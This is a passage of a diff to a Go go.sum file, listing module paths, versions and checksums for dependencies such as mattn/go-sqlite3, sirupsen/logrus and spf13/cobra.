github.com/lib/pq v1.10.2/go.mod h1:AlVN5x4E4T544tWzH6hKfbfQvm3HdbOxrmggDNAPY9o=
|
||||
github.com/lufia/plan9stats v0.0.0-20211012122336-39d0f177ccd0 h1:6E+4a0GO5zZEnZ81pIr0yLvtUWk2if982qA3F3QD6H4=
|
||||
github.com/lufia/plan9stats v0.0.0-20211012122336-39d0f177ccd0/go.mod h1:zJYVVT2jmtg6P3p1VtQj7WsuWi/y4VnjVBn7F8KPB3I=
|
||||
github.com/lxn/win v0.0.0-20210218163916-a377121e959e h1:H+t6A/QJMbhCSEH5rAuRxh+CtW96g0Or0Fxa9IKr4uc=
|
||||
github.com/lxn/win v0.0.0-20210218163916-a377121e959e/go.mod h1:KxxjdtRkfNoYDCUP5ryK7XJJNTnpC8atvtmTheChOtk=
|
||||
github.com/magiconair/properties v1.8.0/go.mod h1:PppfXfuXeibc/6YijjN8zIbojt8czPbwD3XqdrwzmxQ=
|
||||
github.com/magiconair/properties v1.8.1/go.mod h1:PppfXfuXeibc/6YijjN8zIbojt8czPbwD3XqdrwzmxQ=
|
||||
github.com/mailru/easyjson v0.0.0-20160728113105-d5b7844b561a/go.mod h1:C1wdFJiN94OJF2b5HbByQZoLdCWB1Yqtg26g4irojpc=
|
||||
github.com/mailru/easyjson v0.0.0-20180823135443-60711f1a8329/go.mod h1:C1wdFJiN94OJF2b5HbByQZoLdCWB1Yqtg26g4irojpc=
|
||||
github.com/mailru/easyjson v0.0.0-20190614124828-94de47d64c63/go.mod h1:C1wdFJiN94OJF2b5HbByQZoLdCWB1Yqtg26g4irojpc=
|
||||
github.com/mailru/easyjson v0.0.0-20190626092158-b2ccc519800e/go.mod h1:C1wdFJiN94OJF2b5HbByQZoLdCWB1Yqtg26g4irojpc=
|
||||
github.com/mailru/easyjson v0.7.0/go.mod h1:KAzv3t3aY1NaHWoQz1+4F1ccyAH66Jk7yos7ldAVICs=
|
||||
github.com/mailru/easyjson v0.7.7 h1:UGYAvKxe3sBsEDzO8ZeWOSlIQfWFlxbzLZe7hwFURr0=
|
||||
github.com/mailru/easyjson v0.7.7/go.mod h1:xzfreul335JAWq5oZzymOObrkdz5UnU4kGfJJLY9Nlc=
|
||||
github.com/marstr/guid v1.1.0/go.mod h1:74gB1z2wpxxInTG6yaqA7KrtM0NZ+RbrcqDvYHefzho=
|
||||
github.com/mattbaird/jsonpatch v0.0.0-20171005235357-81af80346b1a/go.mod h1:M1qoD/MqPgTZIk0EWKB38wE28ACRfVcn+cU08jyArI0=
|
||||
github.com/mattn/go-colorable v0.0.9/go.mod h1:9vuHe8Xs5qXnSaW/c/ABM9alt+Vo+STaOChaDxuIBZU=
|
||||
@@ -596,26 +591,26 @@ github.com/mattn/go-colorable v0.1.1/go.mod h1:FuOcm+DKB9mbwrcAfNl7/TZVBZ6rcncea
|
||||
github.com/mattn/go-colorable v0.1.2/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE=
|
||||
github.com/mattn/go-colorable v0.1.4/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE=
|
||||
github.com/mattn/go-colorable v0.1.6/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc=
|
||||
github.com/mattn/go-colorable v0.1.8 h1:c1ghPdyEDarC70ftn0y+A/Ee++9zz8ljHG1b13eJ0s8=
|
||||
github.com/mattn/go-colorable v0.1.8/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc=
|
||||
github.com/mattn/go-colorable v0.1.9 h1:sqDoxXbdeALODt0DAeJCVp38ps9ZogZEAXjus69YV3U=
|
||||
github.com/mattn/go-colorable v0.1.9/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc=
|
||||
github.com/mattn/go-isatty v0.0.3/go.mod h1:M+lRXTBqGeGNdLjl/ufCoiOlB5xdOkqRJdNxMWT7Zi4=
|
||||
github.com/mattn/go-isatty v0.0.4/go.mod h1:M+lRXTBqGeGNdLjl/ufCoiOlB5xdOkqRJdNxMWT7Zi4=
|
||||
github.com/mattn/go-isatty v0.0.5/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s=
|
||||
github.com/mattn/go-isatty v0.0.7/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s=
|
||||
github.com/mattn/go-isatty v0.0.8/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s=
|
||||
github.com/mattn/go-isatty v0.0.9/go.mod h1:YNRxwqDuOph6SZLI9vUUz6OYw3QyUt7WiY2yME+cCiQ=
|
||||
github.com/mattn/go-isatty v0.0.11/go.mod h1:PhnuNfih5lzO57/f3n+odYbM4JtupLOxQOAqxQCu2WE=
|
||||
github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU=
|
||||
github.com/mattn/go-isatty v0.0.13 h1:qdl+GuBjcsKKDco5BsxPJlId98mSWNKqYA+Co0SC1yA=
|
||||
github.com/mattn/go-isatty v0.0.13/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU=
|
||||
github.com/mattn/go-isatty v0.0.14 h1:yVuAays6BHfxijgZPzw+3Zlu5yQgKGP2/hcQbHb7S9Y=
|
||||
github.com/mattn/go-isatty v0.0.14/go.mod h1:7GGIvUiUoEMVVmxf/4nioHXj79iQHKdU27kJ6hsGG94=
|
||||
github.com/mattn/go-runewidth v0.0.2/go.mod h1:LwmH8dsx7+W8Uxz3IHJYH5QSwggIsqBzpuz5H//U1FU=
|
||||
github.com/mattn/go-runewidth v0.0.7/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI=
|
||||
github.com/mattn/go-runewidth v0.0.9 h1:Lm995f3rfxdpd6TSmuVCHVb/QhupuXlYr8sCI/QdE+0=
|
||||
github.com/mattn/go-runewidth v0.0.9/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI=
|
||||
github.com/mattn/go-runewidth v0.0.12/go.mod h1:RAqKPSqVFrSLVXbA8x7dzmKdmGzieGRCM46jaSJTDAk=
|
||||
github.com/mattn/go-runewidth v0.0.13 h1:lTGmDsbAYt5DmK6OnoV7EuIF1wEIFAcxld6ypU4OSgU=
|
||||
github.com/mattn/go-runewidth v0.0.13/go.mod h1:Jdepj2loyihRzMpdS35Xk/zdY8IAYHsh153qUoGf23w=
|
||||
github.com/mattn/go-shellwords v1.0.3/go.mod h1:3xCvwCdWdlDJUrvuMn7Wuy9eWs4pE8vqg+NOMyg4B2o=
|
||||
github.com/mattn/go-sqlite3 v1.14.3/go.mod h1:WVKg1VTActs4Qso6iwGbiFih2UIHo0ENGwNd0Lj+XmI=
|
||||
github.com/mattn/go-sqlite3 v1.14.12 h1:TJ1bhYJPV44phC+IMu1u2K/i5RriLTPe+yc68XDJ1Z0=
|
||||
github.com/mattn/go-sqlite3 v1.14.12/go.mod h1:NyWgC/yNuGj7Q9rpYnZvas74GogHl5/Z4A/KQRfk6bU=
|
||||
github.com/mattn/go-sqlite3 v1.14.15 h1:vfoHhTN1af61xCRSWzFIWzx2YskyMTwHLrExkBOjvxI=
|
||||
github.com/mattn/go-sqlite3 v1.14.15/go.mod h1:2eHXhiwb8IkHr+BDWZGa96P6+rkvnG63S2DGjv9HUNg=
|
||||
github.com/matttproud/golang_protobuf_extensions v1.0.1/go.mod h1:D8He9yQNgCq6Z5Ld7szi9bcBfOoFv/3dc6xSMkL2PC0=
|
||||
github.com/matttproud/golang_protobuf_extensions v1.0.2-0.20181231171920-c182affec369/go.mod h1:BSXmuO+STAnVfrANrmjBb36TMTDstsz7MSK+HVaYKv4=
|
||||
github.com/mdlayher/genetlink v1.2.0/go.mod h1:ra5LDov2KrUCZJiAtEvXXZBxGMInICMXIwshlJ+qRxQ=
|
||||
@@ -623,19 +618,12 @@ github.com/mdlayher/netlink v1.6.0/go.mod h1:0o3PlBmGst1xve7wQ7j/hwpNaFaH4qCRyWC
|
||||
github.com/mdlayher/socket v0.1.1/go.mod h1:mYV5YIZAfHh4dzDVzI8x8tWLWCliuX8Mon5Awbj+qDs=
|
||||
github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b h1:j7+1HpAFS1zy5+Q4qx1fWh90gTKwiN4QCGoY9TWyyO4=
|
||||
github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b/go.mod h1:01TrycV0kFyexm33Z7vhZRXopbI8J3TDReVlkTgMUxE=
|
||||
github.com/miekg/dns v1.0.14/go.mod h1:W1PPwlIAgtquWBMBEV9nkV9Cazfe8ScdGz/Lj7v3Nrg=
|
||||
github.com/miekg/dns v1.1.35 h1:oTfOaDH+mZkdcgdIjH6yBajRGtIwcwcaR+rt23ZSrJs=
|
||||
github.com/miekg/dns v1.1.35/go.mod h1:KNUDUusw/aVsxyTYZM1oqvCicbwhgbNgztCETuNZ7xM=
|
||||
github.com/miekg/dns v1.1.50 h1:DQUfb9uc6smULcREF09Uc+/Gd46YWqJd5DbpPE9xkcA=
|
||||
github.com/miekg/dns v1.1.50/go.mod h1:e3IlAVfNqAllflbibAZEWOXOQ+Ynzk/dDozDxY7XnME=
|
||||
github.com/miekg/pkcs11 v1.0.3/go.mod h1:XsNlhZGX73bx86s2hdc/FuaLm2CPZJemRLMA+WTFxgs=
|
||||
github.com/mikioh/ipaddr v0.0.0-20190404000644-d465c8ab6721/go.mod h1:Ickgr2WtCLZ2MDGd4Gr0geeCH5HybhRJbonOgQpvSxc=
|
||||
github.com/mistifyio/go-zfs v2.1.2-0.20190413222219-f784269be439+incompatible/go.mod h1:8AuVvqP/mXw1px98n46wfvcGfQ4ci2FwoAjKYxuo3Z4=
|
||||
github.com/mitchellh/cli v1.0.0/go.mod h1:hNIlj7HEI86fIcpObd7a0FcrxTWetlwJDGcceTlRvqc=
|
||||
github.com/mitchellh/go-homedir v1.0.0/go.mod h1:SfyaCUpYCn1Vlf4IUYiD9fPX4A5wJrkLzIz1N1q0pr0=
|
||||
github.com/mitchellh/go-homedir v1.1.0/go.mod h1:SfyaCUpYCn1Vlf4IUYiD9fPX4A5wJrkLzIz1N1q0pr0=
|
||||
github.com/mitchellh/go-testing-interface v1.0.0/go.mod h1:kRemZodwjscx+RGhAo8eIhFbs2+BFgRtFPeD/KE+zxI=
|
||||
github.com/mitchellh/gox v0.4.0/go.mod h1:Sd9lOJ0+aimLBi73mGofS1ycjY8lL3uZM3JPS42BGNg=
|
||||
github.com/mitchellh/iochan v1.0.0/go.mod h1:JwYml1nuB7xOzsp52dPpHFffvOCDupsG0QubkSMEySY=
|
||||
github.com/mitchellh/mapstructure v0.0.0-20160808181253-ca63d7c062ee/go.mod h1:FVVH3fgwuzCH5S8UJGiWEs2h04kUh9fWfEaFds41c1Y=
|
||||
github.com/mitchellh/mapstructure v1.1.2/go.mod h1:FVVH3fgwuzCH5S8UJGiWEs2h04kUh9fWfEaFds41c1Y=
|
||||
github.com/mitchellh/osext v0.0.0-20151018003038-5e2d6d41470f/go.mod h1:OkQIRizQZAeMln+1tSwduZz7+Af5oFlKirV/MSYes2A=
|
||||
github.com/moby/locker v1.0.1/go.mod h1:S7SDdo5zpBK84bzzVlKr2V0hz+7x9hWbYC/kq7oQppc=
|
||||
@@ -661,6 +649,7 @@ github.com/nbutton23/zxcvbn-go v0.0.0-20180912185939-ae427f1e4c1d/go.mod h1:o96d
|
||||
github.com/ncw/swift v1.0.47/go.mod h1:23YIA4yWVnGwv2dQlN4bB7egfYX6YLn0Yo/S6zZO/ZM=
|
||||
github.com/niemeyer/pretty v0.0.0-20200227124842-a10e7caefd8e h1:fD57ERR4JtEqsWbfPhv4DMiApHyliiK5xCTNVSPiaAs=
|
||||
github.com/niemeyer/pretty v0.0.0-20200227124842-a10e7caefd8e/go.mod h1:zD1mROLANZcx1PVRCS0qkT7pwLkGfwJo4zjcN/Tysno=
|
||||
github.com/nxadm/tail v1.4.4 h1:DQuhQpB1tVlglWS2hLQ5OV6B5r8aGxSrPc5Qo6uTN78=
|
||||
github.com/nxadm/tail v1.4.4/go.mod h1:kenIhsEOeOJmVchQTgglprH7qJGnHDVpk1VPCcaMI8A=
|
||||
github.com/oklog/ulid v1.3.1/go.mod h1:CirwcVhetQ6Lv90oh/F+FBtV6XMibvdAFo93nm5qn4U=
|
||||
github.com/olekukonko/tablewriter v0.0.0-20170122224234-a0225b3f23b5/go.mod h1:vsDQFd/mU46D+Z4whnwzcISnGGzXWMclvtLoiIKAKIo=
|
||||
@@ -669,11 +658,13 @@ github.com/onsi/ginkgo v0.0.0-20170829012221-11459a886d9c/go.mod h1:lLunBs/Ym6LB
|
||||
github.com/onsi/ginkgo v1.6.0/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+WWjE=
|
||||
github.com/onsi/ginkgo v1.8.0/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+WWjE=
|
||||
github.com/onsi/ginkgo v1.10.3/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+WWjE=
|
||||
github.com/onsi/ginkgo v1.12.1 h1:mFwc4LvZ0xpSvDZ3E+k8Yte0hLOMxXUlP+yXtJqkYfQ=
|
||||
github.com/onsi/ginkgo v1.12.1/go.mod h1:zj2OWP4+oCPe1qIXoGWkgMRwljMUYCdkwsT2108oapk=
|
||||
github.com/onsi/gomega v0.0.0-20151007035656-2152b45fa28a/go.mod h1:C1qb7wdrVGGVU+Z6iS04AVkA3Q65CEZX59MT0QO5uiA=
|
||||
github.com/onsi/gomega v0.0.0-20170829124025-dcabb60a477c/go.mod h1:C1qb7wdrVGGVU+Z6iS04AVkA3Q65CEZX59MT0QO5uiA=
|
||||
github.com/onsi/gomega v1.5.0/go.mod h1:ex+gbHU/CVuBBDIJjb2X0qEXbFg53c61hWP/1CpauHY=
|
||||
github.com/onsi/gomega v1.7.1/go.mod h1:XdKZgCCFLUoM/7CFJVPcG8C1xQ1AJ0vpAezJrB7JYyY=
|
||||
github.com/onsi/gomega v1.10.0 h1:Gwkk+PTu/nfOwNMtUB/mRUv0X7ewW5dO4AERT1ThVKo=
|
||||
github.com/onsi/gomega v1.10.0/go.mod h1:Ho0h+IUsWyvy1OpqCwxlQ/21gkhVunqlU8fDGcoTdcA=
|
||||
github.com/opencontainers/go-digest v0.0.0-20180430190053-c9281466c8b2/go.mod h1:cMLVZDEM3+U2I4VmLI6N8jQYUd2OVphdqWwCJHrFt2s=
|
||||
github.com/opencontainers/go-digest v1.0.0-rc1/go.mod h1:cMLVZDEM3+U2I4VmLI6N8jQYUd2OVphdqWwCJHrFt2s=
|
||||
@@ -689,7 +680,7 @@ github.com/opencontainers/runtime-spec v1.0.2/go.mod h1:jwyrGlmzljRJv/Fgzds9SsS/
|
||||
github.com/opencontainers/runtime-tools v0.0.0-20181011054405-1d69bd0f9c39/go.mod h1:r3f7wjNzSs2extwzU3Y+6pKfobzPh+kKFJ3ofN+3nfs=
|
||||
github.com/opencontainers/selinux v1.8.0/go.mod h1:RScLhm78qiWa2gbVCcGkC7tCGdgk3ogry1nUQF8Evvo=
|
||||
github.com/opentracing/opentracing-go v1.1.0/go.mod h1:UkNAQd3GIcIGf0SeVgPpRdFStlNbqXla1AfSYxPUl2o=
|
||||
github.com/pascaldekloe/goe v0.0.0-20180627143212-57f6aae5913c/go.mod h1:lzWF7FIEvWOWxwDKqyGYQf6ZUaNfKdP144TG7ZOy1lc=
|
||||
github.com/orisano/pixelmatch v0.0.0-20220722002657-fb0b55479cde h1:x0TT0RDC7UhAVbbWWBzr41ElhJx5tXPWkIHA2HWPRuw=
|
||||
github.com/pborman/uuid v1.2.0/go.mod h1:X/NO0urCmaxf9VXbdlT7C2Yzkj2IKimNn4k+gtPdI/k=
|
||||
github.com/pelletier/go-toml v1.2.0/go.mod h1:5z9KED0ma1S8pY6P1sdut58dfprrGBbd/94hg7ilaic=
|
||||
github.com/pelletier/go-toml v1.8.1/go.mod h1:T2/BmBdy8dvIRq1a/8aqjN41wvWlN4lrapLU/GW4pbc=
|
||||
@@ -698,11 +689,10 @@ github.com/pkg/errors v0.8.0/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINE
|
||||
github.com/pkg/errors v0.8.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
|
||||
github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4=
|
||||
github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
|
||||
github.com/pkg/profile v1.2.1/go.mod h1:hJw3o1OdXxsrSjjVksARp5W95eeEaEfptyVZyv6JUPA=
|
||||
github.com/pkg/profile v1.6.0/go.mod h1:qBsxPvzyUincmltOk6iyRVxHYg4adc0OFOv72ZdLa18=
|
||||
github.com/pmezard/go-difflib v0.0.0-20151028094244-d8ed2627bdf0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
|
||||
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
|
||||
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
|
||||
github.com/posener/complete v1.1.1/go.mod h1:em0nMJCgc9GFtwrmVmEMR/ZL6WyhyjMBndrE9hABlRI=
|
||||
github.com/pquerna/cachecontrol v0.0.0-20171018203845-0dec1b30a021/go.mod h1:prYjPmNq4d1NPVmpShWobRqXY3q7Vp+80DqgxxUrUIA=
|
||||
github.com/pquerna/otp v1.3.0 h1:oJV/SkzR33anKXwQU3Of42rL4wbrffP4uvUf1SvS5Xs=
|
||||
github.com/pquerna/otp v1.3.0/go.mod h1:dkJfzwRKNiegxyNb54X/3fLwhCynbMspSyWKnvi1AEg=
|
||||
@@ -735,6 +725,9 @@ github.com/prometheus/procfs v0.6.0/go.mod h1:cz+aTbrPOrUb4q7XlbU9ygM+/jj0fzG6c1
|
||||
github.com/prometheus/tsdb v0.7.1/go.mod h1:qhTCs0VvXwvX/y3TZrWD7rabWM+ijKTux40TwIPHuXU=
|
||||
github.com/remyoudompheng/bigfft v0.0.0-20200410134404-eec4a21b6bb0 h1:OdAsTTz6OkFY5QxjkYwrChwuRruF69c169dPK26NUlk=
|
||||
github.com/remyoudompheng/bigfft v0.0.0-20200410134404-eec4a21b6bb0/go.mod h1:qqbHyh8v60DhA7CoWK5oRCqLrMHRGoxYCSS9EjAz6Eo=
|
||||
github.com/rivo/uniseg v0.1.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc=
|
||||
github.com/rivo/uniseg v0.2.0 h1:S1pD9weZBuJdFmowNwbpi7BJ8TNftyUImj/0WQi72jY=
|
||||
github.com/rivo/uniseg v0.2.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc=
|
||||
github.com/rogpeppe/fastuuid v0.0.0-20150106093220-6724a57986af/go.mod h1:XWv6SoW27p1b0cqNHllgS5HIMJraePCO15w5zCzIWYg=
|
||||
github.com/rogpeppe/fastuuid v1.2.0/go.mod h1:jVj6XXZzXRy/MSR5jhDC/2q6DgLz+nrA6LYCDYWNEvQ=
|
||||
github.com/rogpeppe/go-internal v1.3.0/go.mod h1:M8bDsm7K2OlrFYOpmOWEs/qY81heoFRclV5y23lUDJ4=
|
||||
@@ -742,30 +735,25 @@ github.com/rs/xid v1.2.1/go.mod h1:+uKXf+4Djp6Md1KODXJxgGQPKngRmWyn10oCKFzNHOQ=
|
||||
github.com/rs/zerolog v1.13.0/go.mod h1:YbFCdg8HfsridGWAh22vktObvhZbQsZXe4/zB0OKkWU=
|
||||
github.com/rs/zerolog v1.15.0/go.mod h1:xYTKnLHcpfU2225ny5qZjxnj9NvkumZYjJHlAThCjNc=
|
||||
github.com/russross/blackfriday/v2 v2.0.1/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM=
|
||||
github.com/ryanuber/columnize v0.0.0-20160712163229-9b3edd62028f/go.mod h1:sm1tb6uqfes/u+d4ooFouqFdy9/2g9QGwK3SQygK0Ts=
|
||||
github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM=
|
||||
github.com/safchain/ethtool v0.0.0-20190326074333-42ed695e3de8/go.mod h1:Z0q5wiBQGYcxhMZ6gUqHn6pYNLypFAvaL3UvgZLR0U4=
|
||||
github.com/satori/go.uuid v1.2.0/go.mod h1:dA0hQrYB0VpLJoorglMZABFdXlWrHn1NEOzdhQKdks0=
|
||||
github.com/sean-/seed v0.0.0-20170313163322-e2103e2c3529/go.mod h1:DxrIzT+xaE7yg65j358z/aeFdxmN0P9QXhEzd20vsDc=
|
||||
github.com/seccomp/libseccomp-golang v0.9.1/go.mod h1:GbW5+tmTXfcxTToHLXlScSlAvWlF4P2Ca7zGrPiEpWo=
|
||||
github.com/sergi/go-diff v1.0.0/go.mod h1:0CfEIISq7TuYL3j771MWULgwwjU+GofnZX9QAmXWZgo=
|
||||
github.com/sergi/go-diff v1.1.0 h1:we8PVUC3FE2uYfodKH/nBHMSetSfHDR6scGdBi+erh0=
|
||||
github.com/sergi/go-diff v1.1.0/go.mod h1:STckp+ISIX8hZLjrqAeVduY0gWCT9IjLuqbuNXdaHfM=
|
||||
github.com/shirou/gopsutil/v3 v3.21.10 h1:flTg1DrnV/UVrBqjLgVgDJzx6lf+91rC64/dBHmO2IA=
|
||||
github.com/shirou/gopsutil/v3 v3.21.10/go.mod h1:t75NhzCZ/dYyPQjyQmrAYP6c8+LCdFANeBMdLPCNnew=
|
||||
github.com/shopspring/decimal v0.0.0-20180709203117-cd690d0c9e24/go.mod h1:M+9NzErvs504Cn4c5DxATwIqPbtswREoFCre64PpcG4=
|
||||
github.com/shopspring/decimal v0.0.0-20200227202807-02e2044944cc h1:jUIKcSPO9MoMJBbEoyE/RJoE8vz7Mb8AjvifMMwSyvY=
|
||||
github.com/shopspring/decimal v0.0.0-20200227202807-02e2044944cc/go.mod h1:DKyhrW/HYNuLGql+MJL6WCR6knT2jwCFRcu2hWCYk4o=
|
||||
github.com/shopspring/decimal v1.2.0 h1:abSATXmQEYyShuxI4/vyW3tV1MrKAJzCZ/0zLUXYbsQ=
|
||||
github.com/shopspring/decimal v1.2.0/go.mod h1:DKyhrW/HYNuLGql+MJL6WCR6knT2jwCFRcu2hWCYk4o=
|
||||
github.com/shurcooL/sanitized_anchor_name v1.0.0/go.mod h1:1NzhyTcUVG4SuEtjjoZeVRXNmyL/1OwPU0+IJeTBvfc=
|
||||
github.com/sirupsen/logrus v1.0.6/go.mod h1:pMByvHTf9Beacp5x1UXfOR9xyW/9antXMhjMPG0dEzc=
|
||||
github.com/sirupsen/logrus v1.2.0/go.mod h1:LxeOpSwHxABJmUn/MG1IvRgCAasNZTLOkJPxbbu5VWo=
|
||||
github.com/sirupsen/logrus v1.4.1/go.mod h1:ni0Sbl8bgC9z8RoU9G6nDWqqs/fq4eDPysMBDgk/93Q=
|
||||
github.com/sirupsen/logrus v1.4.2/go.mod h1:tLMulIdttU9McNUspp0xgXVQah82FyeX6MwdIuYE2rE=
|
||||
github.com/sirupsen/logrus v1.7.0/go.mod h1:yWOB1SBYBC5VeMP7gHvWumXLIWorT60ONWic61uBYv0=
|
||||
github.com/sirupsen/logrus v1.8.1 h1:dJKuHgqk1NNQlqoA6BTlM1Wf9DOH3NBjQyu0h9+AZZE=
|
||||
github.com/sirupsen/logrus v1.8.1/go.mod h1:yWOB1SBYBC5VeMP7gHvWumXLIWorT60ONWic61uBYv0=
|
||||
github.com/sirupsen/logrus v1.9.0 h1:trlNQbNUG3OdDrDil03MCb1H2o9nJ1x4/5LYw7byDE0=
|
||||
github.com/sirupsen/logrus v1.9.0/go.mod h1:naHLuLoDiP4jHNo9R0sCBMtWGeIprob74mVsIT4qYEQ=
|
||||
github.com/smartystreets/assertions v0.0.0-20180927180507-b2de0cb4f26d/go.mod h1:OnSkiWE9lh6wB0YB77sQom3nweQdgAjqCqsofrRNTgc=
|
||||
github.com/smartystreets/goconvey v0.0.0-20190330032615-68dc04aab96a/go.mod h1:syvi0/a8iFYH4r/RixwvyeAJjdLS9QV7WQ/tjFTllLA=
|
||||
github.com/smartystreets/goconvey v1.6.4/go.mod h1:syvi0/a8iFYH4r/RixwvyeAJjdLS9QV7WQ/tjFTllLA=
|
||||
github.com/soheilhy/cmux v0.1.4/go.mod h1:IM3LyeVVIOuxMH7sFAkER9+bJ4dT7Ms6E4xg4kGIyLM=
|
||||
github.com/spaolacci/murmur3 v0.0.0-20180118202830-f09979ecbc72/go.mod h1:JwIasOWyU6f++ZhiEuf87xNszmSA2myDM2Kzu9HwQUA=
|
||||
github.com/spf13/afero v1.1.2/go.mod h1:j4pytiNVoe2o6bmDsKpLACNPDBIoEAkihy7loJ1B0CQ=
|
||||
@@ -773,8 +761,8 @@ github.com/spf13/afero v1.2.2/go.mod h1:9ZxEEn6pIJ8Rxe320qSDBk6AsU0r9pR7Q4OcevTd
|
||||
github.com/spf13/cast v1.3.0/go.mod h1:Qx5cxh0v+4UWYiBimWS+eyWzqEqokIECu5etghLkUJE=
|
||||
github.com/spf13/cobra v0.0.3/go.mod h1:1l0Ry5zgKvJasoi3XT1TypsSe7PqH0Sj9dhYf7v3XqQ=
|
||||
github.com/spf13/cobra v1.0.0/go.mod h1:/6GTrnGXV9HjY+aR4k0oJ5tcvakLuG6EuKReYlHNrgE=
|
||||
github.com/spf13/cobra v1.1.1 h1:KfztREH0tPxJJ+geloSLaAkaPkr4ki2Er5quFV1TDo4=
|
||||
github.com/spf13/cobra v1.1.1/go.mod h1:WnodtKOvamDL/PwE2M4iKs8aMDBZ5Q5klgD3qfVJQMI=
|
||||
github.com/spf13/cobra v1.5.0 h1:X+jTBEBqF0bHN+9cSMgmfuvv2VHJ9ezmFNf9Y/XstYU=
|
||||
github.com/spf13/cobra v1.5.0/go.mod h1:dWXEIy2H428czQCjInthrTRUg7yKbok+2Qi/yBIJoUM=
|
||||
github.com/spf13/jwalterweatherman v1.0.0/go.mod h1:cQK4TGJAtQXfYWX+Ddv3mKDzgVb68N+wFjFa4jdeBTo=
|
||||
github.com/spf13/pflag v0.0.0-20170130214245-9ff6c6923cff/go.mod h1:DYY7MBk1bdzusC3SYhjObp+wFpr4gzcvqqNjLnInEg4=
|
||||
github.com/spf13/pflag v1.0.1/go.mod h1:DYY7MBk1bdzusC3SYhjObp+wFpr4gzcvqqNjLnInEg4=
|
||||
@@ -782,11 +770,11 @@ github.com/spf13/pflag v1.0.3/go.mod h1:DYY7MBk1bdzusC3SYhjObp+wFpr4gzcvqqNjLnIn
|
||||
github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA=
|
||||
github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg=
|
||||
github.com/spf13/viper v1.4.0/go.mod h1:PTJ7Z/lr49W6bUbkmS1V3by4uWynFiR9p7+dSq/yZzE=
|
||||
github.com/spf13/viper v1.7.0/go.mod h1:8WkrPz2fc9jxqZNCJI/76HCieCp4Q8HaLFoCha5qpdg=
|
||||
github.com/stefanberger/go-pkcs11uri v0.0.0-20201008174630-78d3cae3a980/go.mod h1:AO3tvPzVZ/ayst6UlUKUv6rcPQInYe3IknH3jYhAKu8=
|
||||
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
|
||||
github.com/stretchr/objx v0.1.1/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
|
||||
github.com/stretchr/objx v0.2.0/go.mod h1:qt09Ya8vawLte6SNmTgCsAVtYtaKzEcn8ATUoHMkEqE=
|
||||
github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw=
|
||||
github.com/stretchr/testify v0.0.0-20151208002404-e3a8ff8ce365/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs=
|
||||
github.com/stretchr/testify v1.2.1/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs=
|
||||
github.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs=
|
||||
@@ -794,9 +782,11 @@ github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UV
|
||||
github.com/stretchr/testify v1.4.0/go.mod h1:j7eGeouHqKxXV5pUuKE4zz7dFj8WfuZ+81PSLYec5m4=
|
||||
github.com/stretchr/testify v1.5.1/go.mod h1:5W2xD1RspED5o8YsWQXVCued0rvSQ+mT+I5cxcmMvtA=
|
||||
github.com/stretchr/testify v1.6.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
|
||||
